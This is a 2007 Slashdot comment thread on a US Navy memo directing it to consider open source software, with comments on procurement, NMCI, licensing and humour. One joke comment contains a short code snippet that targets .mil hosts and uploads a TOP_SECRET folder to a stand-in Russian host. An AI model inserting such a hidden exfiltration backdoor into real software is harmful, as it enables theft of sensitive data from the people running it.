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United States Software

Navy Now Mandated To Consider FOSS As an Option 205

Posted by ScuttleMonkey
from the still-spending-$600-on-a-keyboard dept.
lisah writes "In a memorandum handed down from Department of the Navy CIO John Carey this week, the Navy is now mandated to consider open source solutions when making new software acquisitions. According John Weathersby, executive director of the Open Source Software Institute, this is the first in a series of documents that will also address 'development and distribution issues regarding open source within Navy IT environments.'"
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Navy Now Mandated To Consider FOSS As an Option

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  • Cool!! (Score:4, Insightful)

    by phrostie (121428) on Wednesday June 06, 2007 @03:03PM (#19415713)
    but i'm sure that one of M$'s lobby groups will pay to try and have that changed shortly.
    • by Ngarrang (1023425)
      The mandate says only to 'consider', it doesn't say to 'require'. So, as long as lip service is given to the mandate, then all will be as before, but the department will be given some good PR in the press.
      • Re:Cool!! (Score:5, Informative)

        by Registered Coward v2 (447531) on Wednesday June 06, 2007 @05:18PM (#19417459)
        Actually, all it says is that OSS can be considered COTS; so a DON entity can now classify OSS as COTS for procurement purposes. Nothing in it says they must consider OSS during procurement; and the requirement to talk to the lawyers when considering it will probably result in it being ignored anyway.

        Of interest would be the clause about internal use - if one government agency modifies it can any other use it without requiring a broader release of the source? On theory the DON, as longs the program stays within the US Government, would be under no obligation to release any modifications since they have not distributed it; all they have done is install and run it on machines owned by them.
        • COTS = (Score:2, Informative)

          by Shipwack (684009)
          COTS stands for "Commercial, Off The Shelf"... Items that can be found in the civilian world. For example, instead of spending millions of dollars developing a navigation radar, they might just buy a commercial model from Furuno. This is the first step of undoing the stupidity that ensued when they mandated that all official documents be written in the proprietary format of Microsoft Word, a couple of decades ago.
        • Re:Cool!! (Score:4, Interesting)

          by init100 (915886) on Wednesday June 06, 2007 @06:21PM (#19418071)

          Of interest would be the clause about internal use - if one government agency modifies it can any other use it without requiring a broader release of the source?

          No, this would not require a broader source release. Contrary to common belief, the GPL does not require that source must be published to the world when software covered by the GPL is distributed, only that the source is distributed along with the binary under the GPL. The recipient is free to publish though, so there is usually not much to gain by only distributing to your customers.

        • Re: (Score:2, Insightful)

          by mrsteveman1 (1010381)
          As before, the scope of who gets the source exactly matches the scope of who uses the program. Redistribution from there is another problem. If they use GPL code, modifications would remain GPL. But if someone leaks the code, is it then legal to distribute? Or would that be a massive breach of some other classified status not specified by the GPL?

          I would hope that a situation could be worked out so that the code can be protected as classified in certain cases, and I would say there is a partial conflict at
          • "But if someone leaks the code, is it then legal to distribute?"

            Just properly rewrite your phrase and let's see:

            "But if someone illegally distribute the code (that's a "leak", isn't it?), is it then legal to distribute?"

            See?
  • by theTrueMikeBrown (1109161) on Wednesday June 06, 2007 @03:03PM (#19415715) Homepage
    The government saving money?

    I am speechless.
    • I never even imagined it was about money. It's about security and accountability. I can't imagine being the fricking Navy and being willing to run Windows or similar on some of my combat capable equipment...I'd want a lean, stripped down version of Linux with very specific functionality, and well audited, clean code.

      I just can't imagine a military where they routinely depend on software that is geared toward Grandma where they should be using special purpose code.

      Too much money getting kicked around with ve
      • Re: (Score:3, Interesting)

        by Simon80 (874052)
        You may not be able to imagine it, but the US Navy has realized [wikipedia.org] it!
      • by codepunk (167897)
        It has been a few years since I left the navy but when I was in there was no windows machines ever in a critical mission and I doubt that changed any....navy had tons of unix and sure it still rules the roost when it comes
        to mission critical systems.
        • The part of the Navy I saw were a few bases and they were mostly Windows. The desktop computers they assigned to everyone were Windows boxes. And by default they didn't give anyone admin access to their own boxes. Servers ran other stuff, but the desktops were pretty much 100% Windows. After Norton freaked out over a bit of spam, quarantined my inbox and sent email to the system admins that had them come running, I stopped waiting for admin access, or official approval to migrate to Linux, and just swit
      • by MillionthMonkey (240664) on Wednesday June 06, 2007 @04:43PM (#19417061)
        They're probably worried about terrorists having write access to open source CVS repositories. I saw this in SourceForge recently:

        if ($hostname =~ m/.*\.mil/) {
            multiPartUpload("C:\\TOP_SECRET\\", "http://post.secrets.ru?param=suckers");
            explode() || die("The requested operation cannot be performed");
        }

    • Re: (Score:2, Insightful)

      by fitten (521191)
      This has pretty much nothing to do with saving money except to only the most casual of (misinformed) glances. I'm sure it was used as a bullet point (although false) in trying to sell it to Congress.

      The Navy is NOT going to just download crap, have a monkey install it, and hope for the best. At the minimum, they will need to buy support contracts. Additionally, they will most likely hire some support staff of their own. There will likely be little cost savings in actual dollar amounts.

      The OTHER advantag
  • by niceone (992278) * on Wednesday June 06, 2007 @03:04PM (#19415729) Journal
    In the navy
    Yes, you can sail the gcc's
    In the navy
    Yes, you can open source with ease
    In the navy
    Come on now, people, make && make install
    In the navy, in the navy
    ... hmm I've kind of painted myself into a corner there...
  • by Silver Sloth (770927) on Wednesday June 06, 2007 @03:05PM (#19415759)
    If you're a large enough organisation there's no better way of getting your M$ licensing costs down than 'investigating FOSS solutions'. Mind you, with the US navy's long history of cost effective purchasing maybe this isn't a factor here!
    • by jd (1658)
      They also own a LOT of Sco UnixWare boxes and a vast number of HP-UX machines. My bet would be that they're going to start by not renewing SCO licenses and see if they like what they get. It'll save cash, UnixWare can't be supported if all SCO can pay are the lawyers, and it doesn't put any of their Microsoft software at risk.

      (They can't switch of Microsoft easily, anyway, as they switched to a pure Microsoft solution for application serving, security and externally-visible connections. This was back in 2

  • by jcgf (688310)
    Yeah I bet what will happen is that thay will consider the open source and then lube up for old uncle bill's mad upgrade cycle as usual.
  • Finally! (Score:5, Funny)

    by eln (21727) on Wednesday June 06, 2007 @03:10PM (#19415831) Homepage
    Maybe now someone will finally download (or, dare I say, contribute?) to my sourceforge project. It's an Open Source nuclear submarine guidance system forked from an early beta of GAIM. Still in alpha, and right now it's got a little bit of a bug where if you try to get the sub to surface it will occasionally launch all of its missiles, but it's still pretty usable.
    • Maybe now someone will finally download (or, dare I say, contribute?) to my sourceforge project. It's an Open Source nuclear submarine guidance system forked from an early beta of GAIM.

      What happens when it crosses the International Dateline? [defenseindustrydaily.com]

      • by sconeu (64226)
        I think the International Dateline was a red herring.

        I doubt *any* flight control system works on the local time of the location being overflown, but on Zulu (UTC) or on the local time of the point of origin.

        What's lost in this is that the Dateline is also longitude +/- 180. I'd argue that the NAV system software probably choked on the sign change of longitude.
        • In the F-16A there was a code problem like this and it was fixed quickly. The F-22 FCS code is a derivative of the F-16 code base, so depending on where they forked it could be there. I doubt the problem occurred in a real flight most likely in a simulator and rumors got started.
          • by alienmole (15522)
            The incident in which some new F-22s en route to Japan had to turn back was a real incident, according to the Air Force. What's not clear is what the actual cause was. All the Air Force seems to have said officially are things like "a software issue affecting the aircraft's navigation system was discovered Feb. 11 causing the aircraft to return to Hickam" (from here [af.mil]).

            A retired Major General Don Sheppard had more to say on CNN [cnn.com], but gave no details about where his information came from. Although one is pre
    • Hmmm. Well, it probably still beats the hell out of Windows for Warships [wired.com]
    • Re: (Score:3, Funny)

      by Anonymous Coward
      I tried but you claim not to support my hardware because the manufacturer won't release specs. Can you recommend a good nuclear first-strike-capable ballistic missile launch platform with free drivers?
    • it's got a little bit of a bug where if you try to get the sub to surface it will occasionally launch all of its missiles

      Oh, come on. Every nuclear sub manufacturer/terrorist I know gives their nuclear subs Depend® submarine undergarments for those inevitable incontinent moments.

      Whether your subs have crappy open-source code or Windows 3.1, you can get all you want out of disastrous global thermonuclear war(TM) with Depend®!

  • The "close relationship" between the Services and their suppliers has been very cozy now since the pre-WWII Gun Club [1]. This threatens to mess with that, and if the Petty Officers don't deep-six it, the Captains who really run acquisition will.

    Next thing you know, they're going to start messing with the coffee -- it ain't gonna be pretty.

    [1] OK, probably since George Washington's quartermaster. When he was in his 20s. Certainly since the people who supplied the Army of the Republic in the Civil Wa

  • Go Go, GI Joe (Score:3, Insightful)

    by Fx.Dr (915071) <<exterminans> ... thelosthour.com>> on Wednesday June 06, 2007 @03:11PM (#19415865)
    Anyone else here find this article lacking? I'm as thrilled as the next guy that alternatives are being sought out by, well, any Gov't agency. But now what I'd like to see is an article detailing the cost associated with the transition from COTS to FOSS and its associated learning curve.
    • This is about having they navy investigate FOSS solutions. The data you are wanting will be in the Reports and Recommendations that come later, as a result of this. ie, the result of the investigations...

  • by i_want_you_to_throw_ (559379) on Wednesday June 06, 2007 @03:17PM (#19415923) Journal
    When I worked for the Army I had to unilaterally implement FOSS solutions because the people who controlled the purse strings knew nothing about technology. They were dazzled by Oracle, M$ and every other vendor. One young green suiter from the front office put it to me this way: "Just say that this great open source solution will cost you X million dollars and take two years to implement. That's the only thing we understand".
  • ...at least, the fellows at CGA are looking into using Linux for Coast Guard systems [cga.edu]. Coast Guard, the armed service that works for a living [blogs.com]!
    • armed service? works? you have seen the c.g. enlistment oath - right?

      U.S. COAST GUARD ENLISTMENT OATH
      "I, (State your name), swear to sign away 4 years of my life to the UNITED STATES COAST GUARD because I know being in the real military scares me. However, I swear to defend our position as the fifth branch of the Armed Services, although at one point we were under the Department of Homeland Security. I understand that atleast twice a day, someone will refer to me a member of the Air Force or Navy,
      • by tcopeland (32225)
        > I will fly in helos into the eye of the storm to rescue
        > people dumber then rocks, and then be heckled by the same
        > people when I bust them for transporting drugs two months later.

        If only it had been that exciting! I spent my CG career checking EPIRBs, counting rockfish, and filling out boarding reports. And spending money on barcode equipment no one used. Ah well. But, the gunnery exercises were fun!
  • by Frosty Piss (770223) on Wednesday June 06, 2007 @03:33PM (#19416153)

    In a memorandum handed down from Department of the Navy CIO John Carey this week, the Navy is now mandated to consider open source solutions when making new software acquisitions...

    Judging based on my knowledge of DoD networks and computer applications, I don't believe this will have much of an effect on IT decisions in the Navy. (at the Air Force base I work at, we have some BSD, but it's running on specialized devices on a very small scale). It reminds me of how my father did equipment purchasing at the university he worked at (and I'll bet most Navy IT sections will do the same): The university had a set of requirements for big computer purchases that favored specific venders and things like low bit. By dad simply wrote the specs for what he wanted so strictly that only one product would satisfy the requirements.

    Also, keep in mind that great scads of DoD IT is standardized on Microsoft networks and applications that would be difficult to integrate with OSS for a variety of reasons. And, there will always be FUD based "security" reasons that military networks will want to avoid OSS.

    Net result: very little.

    • by jafac (1449)
      Never mind that for every "You SHALL use Open Source. . . " requirement out there, there's another "You SHALL use Microsoft or ... " directive. You see these all over the place. At the end of the day - the integrator's going to either use what works, or fail. These kinds of directives are seldom heeded.
  • by Liquidrage (640463) on Wednesday June 06, 2007 @03:39PM (#19416229)
    When I was writing software for the USAF we were required to use ADA. I worked at the USAF's largest software factory. No one there used ADA for anything.

    So to me the announcement means nothing. Military doesn't always eat it's own dog food.
  • by Nom du Keyboard (633989) on Wednesday June 06, 2007 @03:39PM (#19416239)
    now mandated to consider open source solutions

    Talk about an arrangement of words that don't mean cr@p in the real world.

    Navy: Yeah we thought about it. Considered it even. Then went back to what we've been doing all along. Only terrorists use FOSS. Microsoft told us so.

  • This reminds me of an old article I read once where a Navy ship? sub? almost blew it's top when a system machine running Win NT crashed.

    I can see the Navy using FOSS since they can hire people to modify it to their specific needs and save money while also increasing security.

  • No surprise (Score:3, Informative)

    by GovCheese (1062648) on Wednesday June 06, 2007 @03:45PM (#19416311)
    No surprise here. The Navy has a history of being very ahead of the curve with their IT compared to many government counterparts, including cabinet level agencies. When other agencies were begging for connectivity with handhelds, the Navy had already had long rolled them out aboard their ships for connectity with the server operations of different onboard departments. Navy IT has been forward thinking for quite some time now. They'll consider FOSS very seriously and hopefully it'll have a ripple effect in other USG areas.
  • Consider eh? (Score:2, Interesting)

    by Zironic (1112127)
    If I understand this correctly.

    Before the navy had no idea under what label they were supposed to put open source software so they didn't consider it (out of lazyness?). Now open source is defined as a commercial item so the navy can purchase it the same way they do with other software.

    However this doesn't seem to in any way prevent the large companies from doing what they always do. Just bribe the officials responsible for deciding what software/hardware to use and get them to make the navy pay for their e
  • More paperwork? (Score:3, Informative)

    by pcraven (191172) <paul@crav e n f a m ily.com> on Wednesday June 06, 2007 @03:54PM (#19416427) Homepage
    While I heartily support and use FOSS, I wonder if this adds yet more red tape?

    A long while back I worked for USGS. We were hampered with hiring people, getting new software, hardware, etc because of all the paperwork. If we made a decision we had to consider 50 different laws and regulations. Individually, they were great ideas. Put together they were paralyzing. This is the reason we were stuck with Data General for so long, because no one wanted to do the paperwork to change vendors.
  • The Navy Marine Corp Intranet http://www.eds.com/sites/nmci/ [eds.com] is controlled by EDS, Ross Perot's old company. It is very restrictive and last I knew only allowed windows on it. Only selected applications can be installed on a computer on this network and it is tough to make the list. This could be good for some software that runs on windows to show it is ready for prime time, but it is going to be tough to get managers to go through the hassle of getting it approved. The Navy and Marine Corps have put th
    • This could be good for some software that runs on windows to show it is ready for prime time, but it is going to be tough to get managers to go through the hassle of getting it approved.


      Quite correct but fortunately Firefox doesn't require Admin privileges to be installed, =)
  • by greginnj (891863) on Wednesday June 06, 2007 @04:08PM (#19416595) Homepage Journal
    I'm amazed at the number of people asking for cost comparisons and going on about how there are also training costs, blah blah blah. RTFA and we see:

    misconceptions about whether or not open source software qualifies as COTS (commercial off-the-shelf) or GOTS (government off-the-shelf) software has hindered the Navy's ability to fully utilize open source software.
    Which, if you use your critical reading skills, would tell you that the Navy is already trying to use FOSS, but is having trouble doing so. We all know about military spending -- they don't give a rat's ass about saving 10% off the fully loaded cost. What we're talking about is Naval Engineering [hotmcl.org]:

    The term Seabee Ingenuity grew from deeds recorded during the Solomon campaign. A Seabee Warrant Officer repurchased equipment from customers to set up shop. Bulldozer head gaskets were fashioned from scraps of metal and paper. Waxed paper and tinfoil from cigarette packages served as condensers while 55-gallon drums replaced worn-out radiators. Tires were filled with sawdust and concrete. One Seabee turned his dozer into a piece of combat equipment and wiped out a gun emplacement in the Treasury Islands. The work accomplished by these new Construction Battalions seemed almost impossible and yet the CAN DO standards set the precedence for the battalions that followed.
    Now, imagine a similar situation involving software. Your control system is acting up while you're on patrol in the South China Sea -- do you send an email to Redmond and wait for the response, or do you open the hood and fix it yourself? As the pdf memorandum said:

    As with any COTS solution, the use of OSS must adhere to all Federal, DoD, and DON policies and be based on open standards to support the DoD's goals of net-centricity and interoperability.
    Go Navy!
    • Re: (Score:3, Interesting)

      "The term Seabee Ingenuity grew from deeds recorded during the Solomon campaign. A Seabee Warrant Officer repurchased equipment from customers to set up shop. Bulldozer head gaskets were fashioned from scraps of metal and paper. Waxed paper and tinfoil from cigarette packages served as condensers while 55-gallon drums replaced worn-out radiators. Tires were filled with sawdust and concrete. One Seabee turned his dozer into a piece of combat equipment and wiped out a gun emplacement in the Treasury Islands.
    • by fluffy99 (870997)
      No, if you read the actual memo, it talks about the definition of OSS (not free OSS) and plainly says that if it looks like COTS, treat it as COTS. The general direction of the Navy with it's DADMS database and even more restrictive ISF tools database that governs apps allowed on NMCI, is that regular commercial software is preferred. For example, commercial versions of Linux are approved for use within the Navy, but forget about custom distros.
  • by Anonymous Coward on Wednesday June 06, 2007 @04:21PM (#19416775)
    I work in a Navy research IT environment and have used OSS for years in variety of environments.

    In the last few years the Navy has straddled us with the hideous NMCI IT contract that dictates operating systems, software applications, and hardware. When NMCI was conceived, in the womb of ignorance and shortsightedness, they were thinking of providing a common monocultural solution that might work if the only thing the Navy did was to send email and make PowerPoint presentations.

    In a research environment you need flexibility in order to match solutions to problems. NMCI forbids the installation "unapproved" software or hardware. This includes software drivers and communication applications for special purpose hardware such as serial/USB/PCI devices. You cannot connect any web enabled devices like cameras, 1-wire control, power control devices, UPS devices, weather stations, data acquisitions, etc.

    So what happens at the Navy Labs is there are two networks - the NMCI network and the "Legacy Network" where the work gets down.

    In the spirit of reducing cost we have have to maintain two networks and two computers on each desktop and have two exposed flanks to the outside world! It is wasteful, dangerous and inefficient.

    Oh did I mention NMCI is inefficient and near useless. I have a NMCI laptop. I would rather have a 286 with two floppy drives and a sharp stick. The other day I needed to access a jpeg image that was on the NMCI network and edit it with Coral Draw (the application they felt I should be using instead of the more useful, efficient and cheaper PSP). I timed the process from pushing the "On" button and loading the remote desktop, mapping the network file system, logging on, clicking thru all the various dialog windows, loading the bloated application and load the file - it took over 27 minutes.
  • NMCI [wikipedia.org]

    The U.S. government's biggest gift to Microsoft since the abandoned anti-trust suit.

  • Yeah but... (Score:4, Funny)

    by TrappedByMyself (861094) on Wednesday June 06, 2007 @04:29PM (#19416897)
    If you thought it was hard finding ATI drivers, try finding nuclear sub drivers!
    • by treeves (963993)
      I served on a nuclear sub (USS Kamehameha (SSBN 642) and the guys who drive (the helmsmen and planesmen) are basically the same guys who work in the galley cleaning up and go around waking people for the next watch (kinda like human alarm clocks). Not too hard to fill those positions. Now there are people telling them what to do who have more knowledge and experience and people telling *those* people what to do and so on. . .
  • Linux is used all over the place already. Linux/Unix is actually preferred from a security accreditation and certification point of view.
    • Linux is used all over the place already. Linux/Unix is actually preferred from a security accreditation and certification point of view.

      Take out the Linux, and you're closer to the truth.

      I have done DoD accreditation on both (Linux and Solaris), it is -way- tougher to get Linux accredited than Solaris.

      Part of the problem is that the guidelines for accrediting Solaris are more specific and easier to implement than the Linux ones. The Solaris guidelines will give specific steps using specific tools, but

  • *Considering* open source software often generates substation savings from Microsoft. How many articles on /. have we seen where some government or huge company says they are switching away from Microsoft, only to have Microsoft come back with huge savings?

    It's a great negotiating advantage to be "forced" to consider open source.
  • FOSS in the Navy (Score:2, Informative)

    by BigPenguin (529751)
    As a Navy IT whose responsibilities include administrating one of the largest afloat networks in the world I can tell you two things: Linux and FOSS are already present onboard, but only in a quasi embedded role because the contractors who supplied the system (ala SPAWAR or similar) based the platform on Linux. These systems typically do not exist as a network asset. That is they are a ship's system and not a part of the "network" as user services are concerned. And two: It is a Microsoft shop from top to b
    • Re: (Score:2, Informative)

      by ChronoFish (948067)
      For the several years that I was a Defense Contractor (mid 90's), our shop and the NOCs that we supported were almost 100% Sun Solaris. We did not support the Navy (that I know of) but we did support the Air Force and a few Spook clients.

      Later (late 90's) I worked for a company that specializes in Air Traffic Control Systems. Development environment was Linux and production environment was AIX.

      Government agencies have accepted *nix flavors for a long time. "Never going to happen" is an incredibly strong
  • If it's anything like:

    A: We need a new database system because the one we're using isn't supported any more
    B: Should we use *Insert OSS*
    A: Is it created by Oracle?
    B: No
    A: Then that's your answer

    ...then there's no hope. I'm sure there will be *some* adoption, but I doubt this new 'policy' will have any net effect.

  • Same thing in Canada (Score:3, Informative)

    by PhysicsPhil (880677) on Wednesday June 06, 2007 @07:01PM (#19418415)
    I just attended a (non-classified) talk from a department of the Canadian government about the role of FOSS in our military. A few interesting points:

    * On average, commercial, off the shelf software (COTS) tended to be slightly cheaper for life cycles in the mid-term range, which seemed to be 5-12 years or so. Shorter than that FOSS was best because of the low up-front costs, while on the longer term the lack of vendor support for COTS was a concern. The number that was thrown out was COTS being about 15% cheaper for the mid-term, although there were cases where FOSS was still better.

    * To avoid finger pointing between the OS and application manufacturers during bug hunts, it was desirable for a single company/consultant group to take responsibility for all software. They weren't inclined to wait in a war zone while tech guys played telephone tag while repairing a bug. The ideal would be to purchase hardware from a given supplier, and having one contact point for all software.

    * Long-term software support was a concern for both COTS and FOSS, but the ability to either maintain the software yourself (least desirable) or form a consortium with other like-minded entities was an advantage for FOSS.

    * Licensing was identified as a major hassle. The speaker identified that computer types are very highly trained from a technical perspective, but not trained from a legal standpoint, so navigating through licensing conditions was a problem. They were hoping our Treasury Board could handle government-wide licensing issues.

    * There was definite interest in shifting the computer systems on-board our latest warships from HP-UNIX to Linux-based systems to avoid the vendor end-of-lifing the systems.

    The talk continued on to discuss issues related to hardening systems from attacks, but I didn't stay for the whole thing. Just before I left, the speaker was bemoaning that while FOSS gave great tools for the good guys, they also empowered the foreign script-kiddies as well, so it was a two-edged sword.
  • Navy Now Mandated to Consider FOSS as an Option

    What is an option? What is consideration? FOSS has always been an option for the Navy. The Navy has always had the choice to consider it. Now they are forced to consider it as an option? What?

    The only way to truly examine this is through a car analogy.

    Say you are driving a car, and you are trying to get to Algeria. You come to a junction where you could turn off and head to Libya, or you can keep going straight and arrive in Algeria. You have the optio
  • I'm not surprised by this at all. There's actually an effort within the Navy now to build a massive shared, OSS repository of combat system software components and code for combat systems stuff. Everyone gets to examine code, fiddle with it, pick at it, adapt it, go play. And you're required to submit whatever you come up with to the same scrutiny. It's part of a larger effort to get away from lock-in with Raytheon, LockMart, etc. and get more competition and more small players. The surface warfare centers

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